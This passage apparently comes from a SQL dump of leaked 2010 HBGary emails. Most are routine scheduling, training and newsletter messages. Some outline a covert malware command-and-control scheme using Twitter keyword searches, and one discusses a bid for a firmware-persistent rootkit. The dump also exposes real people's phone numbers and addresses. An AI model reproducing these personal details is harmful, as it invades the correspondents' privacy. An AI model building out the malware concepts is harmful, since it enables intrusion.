\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNed\r\nMiller&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nDirector,\r\nPublic Sector Strategy\r\n\r\nSymantec\r\nCorporation\r\n\r\nMobile:\r\n571-314-5245\r\n\r\nwww.symantec.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThis message (including any attachments) is intended only for\r\nthe use of the individual or entity to which it is addressed and may contain\r\ninformation that is non-public, proprietary, privileged, confidential, and\r\nexempt from disclosure under applicable law or may constitute as attorney work\r\nproduct. If you are not the intended recipient, you are hereby notified that\r\nany use, dissemination, distribution, or copying of this communication is\r\nstrictly prohibited. If you have received this communication in error, notify\r\nus immediately by telephone and (i) destroy this message if a facsimile or (ii)\r\ndelete this message immediately if this is an electronic communication. Thank\r\nyou.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6431,'aaron_hbgary_com/6431.html'),(6003,'2010-05-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004331.M830775P14101Q858.eml','\"Hoglund Greg\" <greg@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>','Re: Task M','Disregard. GD decided to nobid due to the aggressive proposal timeline\r\nand other priorities.\r\n\r\nSounds like your kicking ass on the engagement. Any particularly\r\ninteresting findings?\r\n\r\nTed\r\n\r\n\r\n\r\nOn May 3, 2010, at 8:54 AM, Ted Vera  wrote:\r\n\r\n> Hi Greg,\r\n>\r\n> GD AIS would like us to team with them on Task M, which focuses on\r\n> developing a proof-of-concept persistent rootkit.  Ideally they would\r\n> like something that could persist even if the HD is replaced.  I have\r\n> some experience leading an EFI based solution.  Clearhat has some\r\n> ideas involving peripheral firmware.  Do you have some time later this\r\n> week to noodle on ideas with clearhat on the phone, so we can put\r\n> together a proposal story?\r\n>\r\n> Ted\r\n',15357,'aaron_hbgary_com/15357.html'),(6004,'2010-05-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004332.M254193P14101Q860.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: COIN','Come on over if you have a chance, we can talk before Ray and co get\r\nhere.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 05, 2010 1:08 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: COIN\r\n\r\nI am out early not sure if u can still make 2?\r\n\r\n From my iPhone\r\n\r\nOn May 5, 2010, at 11:15 AM, \"Clair, Chris (TASC)\"\r\n wrote:\r\n\r\n> Moved the meeting to 3:30 to give extra time.  Works better for\r\n> schedule\r\n> too.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, May 05, 2010 11:00 AM\r\n> To: Clair, Chris (TASC)\r\n> Subject: Re: COIN\r\n>\r\n> Should work.  I have a meeting in Rosslyn from 12-130.  I\'ll head\r\n> straight there.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On May 5, 2010, at 10:55 AM, \"Clair, Chris (TASC)\"\r\n> > wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> How does 2:00-3:00 sound today here?  It looks like our calendars are\r\n>> free.\r\n>>\r\n>> Chris\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, May 05, 2010 9:27 AM\r\n>> To: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Clair, Chris\r\n>> (TASC)\r\n>> Subject: COIN\r\n>>\r\n>> Chris,\r\n>>\r\n>> Good News.  I met with the deputy for the Internet branch.  He will\r\n>> become the chief of Internet branch in two weeks.  He\'s a good\r\n>> friend.\r\n>> Very good conversation, we need to get together to discuss.\r\n>>\r\n>> The competition is still going to happen.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n',3306,'aaron_hbgary_com/3306.html'),(6005,'2010-05-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004332.M535401P14101Q861.eml','\"Richards Jim\" <jim@hbgary.com>,\"Richards Jim\" <jim@hbgary.com>,','Training','Hi Jim,\r\n\r\nIs there room for our new employee, Mark Trynor, to sit in the May\r\n11-12 Malware class in Sacramento?\r\n\r\nTed\r\n',15542,'aaron_hbgary_com/15542.html'),(6006,'2010-05-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004332.M54913P14101Q859.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','RE: COIN','Hi Ray,\r\n\r\nI booked our meeting at 3:30 as John Lovegrove couldn\'t make it.\r\n\r\nIt should be on your calendar.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Heider, Raymond A (TASC) \r\nSent: Wednesday, May 05, 2010 1:16 PM\r\nTo: Clair, Chris (TASC); \'Aaron Barr\'; Pisani, Albert A. (TASC)\r\nSubject: RE: COIN\r\n\r\nOK Let me know.\r\n\r\n-----Original Message-----\r\nFrom: Clair, Chris (TASC) \r\nSent: Wednesday, May 05, 2010 10:56 AM\r\nTo: \'Aaron Barr\'; Heider, Raymond A (TASC); Pisani, Albert A. (TASC)\r\nSubject: RE: COIN\r\n\r\nAaron,\r\n\r\nHow does 2:00-3:00 sound today here?  It looks like our calendars are\r\nfree.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 05, 2010 9:27 AM\r\nTo: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Clair, Chris\r\n(TASC)\r\nSubject: COIN\r\n\r\nChris,\r\n\r\nGood News.  I met with the deputy for the Internet branch.  He will\r\nbecome the chief of Internet branch in two weeks.  He\'s a good friend.\r\n Very good conversation, we need to get together to discuss.\r\n\r\nThe competition is still going to happen.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',8745,'aaron_hbgary_com/8745.html'),(6007,'2010-05-05','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297004332.M829725P14101Q862.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Training','As a matter of fact, there is 1 seat available! Send him out!\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, May 05, 2010 1:03 PM\r\nTo: Richards Jim\r\nCc: Mark Trynor; Barr Aaron\r\nSubject: Training\r\n\r\nHi Jim,\r\n\r\nIs there room for our new employee, Mark Trynor, to sit in the May\r\n11-12 Malware class in Sacramento?\r\n\r\nTed\r\n\r\n',68,'aaron_hbgary_com/68.html'),(6008,'2010-05-05','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297004333.M325862P14101Q864.eml','aaron@hbgary.com','Delivery Status Notification (Delay)','This is an automatically generated Delivery Status Notification\r\n\r\nTHIS IS A WARNING MESSAGE ONLY.\r\n\r\nYOU DO NOT NEED TO RESEND YOUR MESSAGE.\r\n\r\nDelivery to the following recipient has been delayed:\r\n\r\n     len@keycorp.com\r\n\r\nMessage will be retried for 1 more day(s)\r\n\r\nTechnical details of temporary failure: \r\nDNS Error: Could not contact DNS servers\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.151.5.11 with SMTP id h11mr9516049ybi.111.1272919103176;\r\n        Mon, 03 May 2010 13:38:23 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [192.168.1.149] (ip98-169-66-87.dc.dc.cox.net [98.169.66.87])\r\n        by mx.google.com with ESMTPS id 21sm4563985iwn.7.2010.05.03.13.38.20\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Mon, 03 May 2010 13:38:21 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-2-406639739; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Capabilities Discussion\r\nDate: Mon, 3 May 2010 16:38:19 -0400\r\nMessage-Id: \r\nTo: len@keycorp.com\r\nMime-Version: 1.0 (Apple Message framework v1078)\r\nX-Mailer: Apple Mail (2.1078)\r\n\r\nHi Len,\r\n\r\nAlthough I am not sure if we ever met we have I think numerous mutual business relationships.  In my previous position I was a Technical Director with Northrop Grumman for Cyber and SIGINT, transitioning about 5 months ago.  Art Money suggested I talk with you at that point.  At the time I had already decided to start up a services sister company focused on information operations, incident response and threat detection.  I had lunch with Tom Conroy last week and we were talking about cyber and he suggested I should get in touch with you to discuss possible opportunities.\r\n\r\nIf interested let me know when are some good dates to try and get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6505,'aaron_hbgary_com/6505.html'),(6009,'2010-05-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004333.M42758P14101Q863.eml','all@hbgary.com','Status Update',' \r\nTeam,\r\n \r\nThanks for managing the chaos from your end.  The Senate is very interested in all of our products, end to end.  They even said &quot;you guys rock&quot; at one point near the end of the meeting.  The House got off to a rough start as you all know, but thanks to our team effort (and alot of patience on the customer side) we got it back on track.  We successfully installed an active defense agent on their test network using BigFix and we were able to initiate a scan.  Tomorrow is another day of great meetings and exposure - including the Office of the President!  My portable demo is rock solid and delivers a sweet end-to-end story - tomorrow will be a good day.  All the hard work we put into the first AD server build in the conference room paid off - we were able to scan three locations totalling over 400 nodes, identify many malware infections, and more importantly determine that most of their network was clean.  As of last night, we have an 1800 node push and our customer has not recieved any helpdesk calls :-)  Active Defense rocks, our customers see what we are doing and they tell us as much.  Thank you everyone for all your hard work.  We are going to have an amazing year.\r\n\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.  \r\n \r\n',2485,'aaron_hbgary_com/2485.html'),(6010,'2010-05-05','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004333.M600183P14101Q865.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: Training','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nI\'m in.  I\'ll start booking the flight, room, and car now.\r\n\r\nOn 05/05/2010 02:03 PM, Ted Vera wrote:\r\n> Hi Jim,\r\n> \r\n> Is there room for our new employee, Mark Trynor, to sit in the May\r\n> 11-12 Malware class in Sacramento?\r\n> \r\n> Ted\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh4c4ACgkQWw/TEDXzQNO5EQCfYVn+xYpnZyPc2lzRfcrQwOZL\r\ngggAmwWVJvhGwKaK6HjV5KbIsRBtXfcr\r\n=+A0Q\r\n-----END PGP SIGNATURE-----\r\n',4328,'aaron_hbgary_com/4328.html'),(6011,'2010-05-05','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004356.M52021P14101Q866.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Badge Photo','This is what a came up with.  I figured I\'d let you pick.  My thoughts\r\non them :\r\n\r\nimage a + b : me in my natural elements\r\nimage c : I feel is edgy in an artsy way\r\nimage d : would be the one you wanted to use at a much higher resolution\r\nimage e : The one I would choose if I could choose only ONE pick.  Plus\r\nI heart cupcakes.\r\n',12893,'aaron_hbgary_com/12893.html');
INSERT INTO `emails` VALUES (6012,'2010-05-06','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297004358.M491519P14101Q867.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 5/05/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Apr 28 - May 5\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Kevin Youngblood has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Michael J Staggs has an updated current title: Forensic Analyst at Hoplon, Inc\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Jim Barnett has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Guy Mincey\r\nis now connected to\r\n            Charlie Shaw\r\n,             Gordon Theanne\r\n,             Christine Pyne\r\n,       and 1 other person.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Curtis Kent\r\nis now connected to\r\n            Dave Meadows\r\n             and \r\n            Stan Dye\r\n             \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nLooking forward to lunch tomorrow with Celina Realuyo.  She\'s one of the nicest, smartest and most interesting people I know.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nWent to great networking event last night at Metropolitan Club.  Not used to seeing where the DC elite hang out...interesting scene.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nCongrats to @WillNoel &amp; Lynn on birth of their son, Henry Noel.  All reported doing well.  Schedule delays OK for this biggest deliverable.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Irving Lachow has joined 2 groups, including\r\n      \r\n      IT Security Entrepreneurs\' Forum (ITSEF)\r\n      and\r\n      Security Innovation Network (SINET)\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Kevin Halemartin has joined\r\n    Colorado Human Resource Association - CHRA\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Richard Lee has joined\r\n    GTE Government Systems/Sylvania (Mountain View, CA)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Bill Varner recommends\r\ncolleague      Janet Ioli\r\n          Director, Leadership Development IS Sector at Northrop Grumman\r\n        Janet created several Leadership programs while we both working at NG TASC. She was responsible for ...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Scott Sheldon\r\n                  \r\n                     recommends \r\n                  \r\n                    Let\'s Roll!: Ordinary People, Extraordinary Courage\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Mary Sullivan\r\n                  \r\n                     is now using the new LinkedIn for iPhone application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Michael J Staggs\r\n                  \r\n                     recommends \r\n                  \r\n                    Gates of Fire: An Epic Novel of the Battle of Thermopylae\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',4536,'aaron_hbgary_com/4536.html'),(6013,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004358.M849181P14101Q868.eml','\"Irving Mr OSD ATL Lachow\" <lachow@ndu.edu>','Ideas','Irv,\r\n\r\nSome topics for our discussion.\r\n\r\n•C&C: Use of keyword tables in malware to communicate c&c servers .\r\nCould use google adwords or Twitter accounts.  Each Trojan has a\r\nkeywords table and based on parameters will concatenate words from the\r\ntable into a phrase and do keyword searches on Twitter for posts to\r\nDynDNS (fast flux) URLs.\r\n•Persistent Comms: encrypted P2P or bittorrent\r\n•Commercially available products for comms.\r\n•MMO plugins: comms, IO, etc\r\n•Complete commercial operations.  Magpii.\r\n•Mobile services and apps.\r\n•Amateur Photo journalism\r\n•Cloud applications\r\n•Threat intelligence.  Automate data ingest and correlation.  Malware,\r\nopen source, c&c data.\r\n•Hive approach to network intelligence.\r\n•Aggregation of small company capabilities for advanced detection and\r\nprotection.  Damballa/EGS, Netwitness, HBGary.\r\n•Social media\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',9387,'aaron_hbgary_com/9387.html'),(6014,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004359.M356760P14101Q870.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: NDA and Collaboration','Hi Arnav,My week is getting away from me.  Not sure what you still might be able to pull together this week, or early next week.  If tomorrow can still work how is 2pm EST?  Otherwise let me know availability next week.\r\nRafal said he was coming to DC in a few weeks.  We discussed working a time to meet in person while he is here.  Can u set that up?Thanks,Aaron Sent from my iPad\r\nOn May 4, 2010, at 5:35 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for your email. Our executive team won&#39;t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I&#39;ll spin up our development team.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:\r\nArnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks.  How does this Thursday or Friday work for a webex cross capabilities demo?\r\nAaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we&#39;ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.ca\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and Collaboration\r\nNart,It was very nice talking with you at the Palantir conference.  I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',14190,'aaron_hbgary_com/14190.html'),(6015,'2010-05-06','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297004359.M52966P14101Q869.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     lachow@ndu.edu\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 cuda_nsu 5.1.1 User unknown (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.216.90.144 with SMTP id e16mr6307346wef.166.1273149852669; \r\n	Thu, 06 May 2010 05:44:12 -0700 (PDT)\r\nFrom: Aaron Barr \r\nMime-Version: 1.0 (iPad Mail 7B367)\r\nDate: Thu, 6 May 2010 08:44:11 -0400\r\nMessage-ID: \r\nSubject: Ideas\r\nTo: Irving Mr OSD ATL Lachow \r\nContent-Type: text/plain; charset=windows-1252\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\nIrv,\r\n\r\nSome topics for our discussion.\r\n\r\n•C&C: Use of keyword tables in malware to communicate c&c servers .\r\nCould use google adwords or Twitter accounts.  Each Trojan has a\r\nkeywords table and based on parameters will concatenate words from the\r\ntable into a phrase and do keyword searches on Twitter for posts to\r\nDynDNS (fast flux) URLs.\r\n•Persistent Comms: encrypted P2P or bittorrent\r\n•Commercially available products for comms.\r\n•MMO plugins: comms, IO, etc\r\n•Complete commercial operations.  Magpii.\r\n•Mobile services and apps.\r\n•Amateur Photo journalism\r\n•Cloud applications\r\n•Threat intelligence.  Automate data ingest and correlation.  Malware,\r\nopen source, c&c data.\r\n•Hive approach to network intelligence.\r\n•Aggregation of small company capabilities for advanced detection and\r\nprotection.  Damballa/EGS, Netwitness, HBGary.\r\n•Social media\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',619,'aaron_hbgary_com/619.html'),(6016,'2010-05-06','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004359.M674439P14101Q871.eml','aaron@hbgary.com','Courses Which Support DoD 8570.1!','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n               \r\n                   \r\n          \r\n Courses Which Support DoD Directive 8570.1 IA  Certification Requirements\r\n&nbsp;\r\n382  (ISC) 2 DoD CAP - Certification and Accreditation Professionals; June 2-4.\r\n\r\n   CAP - This course is designed to provide INFOSEC professionals with a comprehensive understanding and working knowledge of the Federal Information Systems Certification and Accreditation (C&amp;A) Process. This course will provide an overview of current policy, laws, and guidance, definitions and terms, and the evolution of information system security. The credential applies to professionals responsible for formalizing processes used to assess risk and establish security requirements, as well as ensure information systems possess security commensurate with the level of exposure to potential risk.\r\n   381 CompTIA Security+ (2008) Edition Certification; June 7-10. EXAM on June 11.&nbsp; There is a separate registration and tuition.&nbsp; See attached link: http://www.afcea.org/education/details.cfm?course_number=10381-B  exam\r\nSecurity+ - The CompTIA Security+ certification designates knowledgeable professionals in the field of security, one of the fastest-growing fields in IT. CompTIA Security+ is an international, vendor-neutral certification that proves competency in system security, network infrastructure, access control and organizational security. Those professionals who successfully obtain the CompTIA Security+ certification have demonstrated the aptitude and ability to master such knowledge areas as: general security concepts, communications security, infrastructure security, basics of cryptography, and operational/organizational security.\r\n   386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n   The course is designed  for  certifying authorities, information security officers, computer security professionals, information technology staff, and information security staff. Students should have a basic understanding of computer operations.\r\n   387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n   The instructor will address the importance of the DoD Information Assurance Certification and Accreditation Process (DIACAP), as well as the laws, policies, guidance, and organizations on which the DIACAP is based.\r\n   388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n   This course is designed to train information technology professionals on advanced tactics, techniques, and procedures of advanced cyber network defense pertaining to network threats, vulnerabilities, and exploits and how to detect, analyze, mitigate, validate, and report them. Students will learn to defend their networks against various attacks. The course is performance/demonstration-based and is 75 percent &quot;hands-on&quot; using network simulators.\r\n   650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n\r\n    This course provides an understanding of defense-in-depth and the Information Assurance Technical Framework  in network-centric operations. It focuses primarily on computer network defense methods to enhance the student\'s  ability to serve as an IA professional in their organization.\r\nOther courses offered in May, June, and July \r\n380 Topics in Information Security of interest to the Military; May 19-20.\r\n760 TEMPEST Threat Management; May 19 -20. A final secret clearance is required to attend this course.\r\n515 Electromagnetic Environmental Effects (E3) and Spectrum Supportability (SS) for Program Managers; May 26.\r\n603 Data Mining Technologies and Applications in Business Intelligence and NAtional Security; June 2-4.\r\n902 NEW! Project Management Professional;&nbsp;June 7 - 11. \r\n905 NEW! Post 9/11 Compliance and Security in the Global Supply Chain - Best Practices in&nbsp;Leadership and Management; June 16 - 17.\r\n507 NEW! Software Quality Assurance and Improvement;&nbsp; July 7 - 9\r\nAll courses will be held in Fairfax, VA unless otherwise noted. \r\n_____________________________________________________________________\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\nREGISTER NOW&nbsp; (FREE) \r\nAFCEA Education Summit - May 10, 2010\r\nBROADCAST LIVE \r\n2:00 PM to 3:15 PM (EDT)\r\nConvention Center, Virginia Beach, VA \r\nsee link below . . . \r\nhttp://www.afcea.org/education/scholarships/chapters/2010EducationSummit.asp\r\n_____________________________________________________________________&nbsp;\r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',1121,'aaron_hbgary_com/1121.html'),(6017,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004359.M943317P14101Q872.eml','\"Irving Mr OSD ATL Lachow\" <Irving.Lachow@osd.mil>','Ideas','Irv,\r\nSome topics for our discussion.•C&amp;C: Use of keyword tables in malware to communicate c&amp;c servers .Could use google adwords or Twitter accounts.  Each Trojan has a\r\nkeywords table and based on parameters will concatenate words from thetable into a phrase and do keyword searches on Twitter for posts toDynDNS (fast flux) URLs.•Persistent Comms: encrypted P2P or bittorrent\r\n•Commercially available products for comms.•MMO plugins: comms, IO, etc•Complete commercial operations.  Magpii.•Mobile services and apps.•Amateur Photo journalism\r\n•Cloud applications•Threat intelligence.  Automate data ingest and correlation.  Malware,open source, c&amp;c data.•Hive approach to network intelligence.\r\n•Aggregation of small company capabilities for advanced detection andprotection.  Damballa/EGS, Netwitness, HBGary.•Social mediaAaron\r\nSent from my iPad\r\n',10630,'aaron_hbgary_com/10630.html'),(6018,'2010-05-06','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004360.M192109P14101Q873.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Hi Aaron,\r\nThanks for the email. I will check with the dev team and let you know soonest.Best wishes,Arnav\r\nOn 2010-05-06, at 8:50 AM, Aaron Barr wrote:Hi Arnav,My week is getting away from me. &nbsp;Not sure what you still might be able to pull together this week, or early next week. &nbsp;If tomorrow can still work how is 2pm EST? &nbsp;Otherwise let me know availability next week.\r\nRafal said he was coming to DC in a few weeks. &nbsp;We discussed working a time to meet in person while he is here. &nbsp;Can u set that up?Thanks,Aaron&nbsp;Sent from my iPad\r\nOn May 4, 2010, at 5:35 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for your email. Our executive team won\'t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I\'ll spin up our development team.\r\nBest 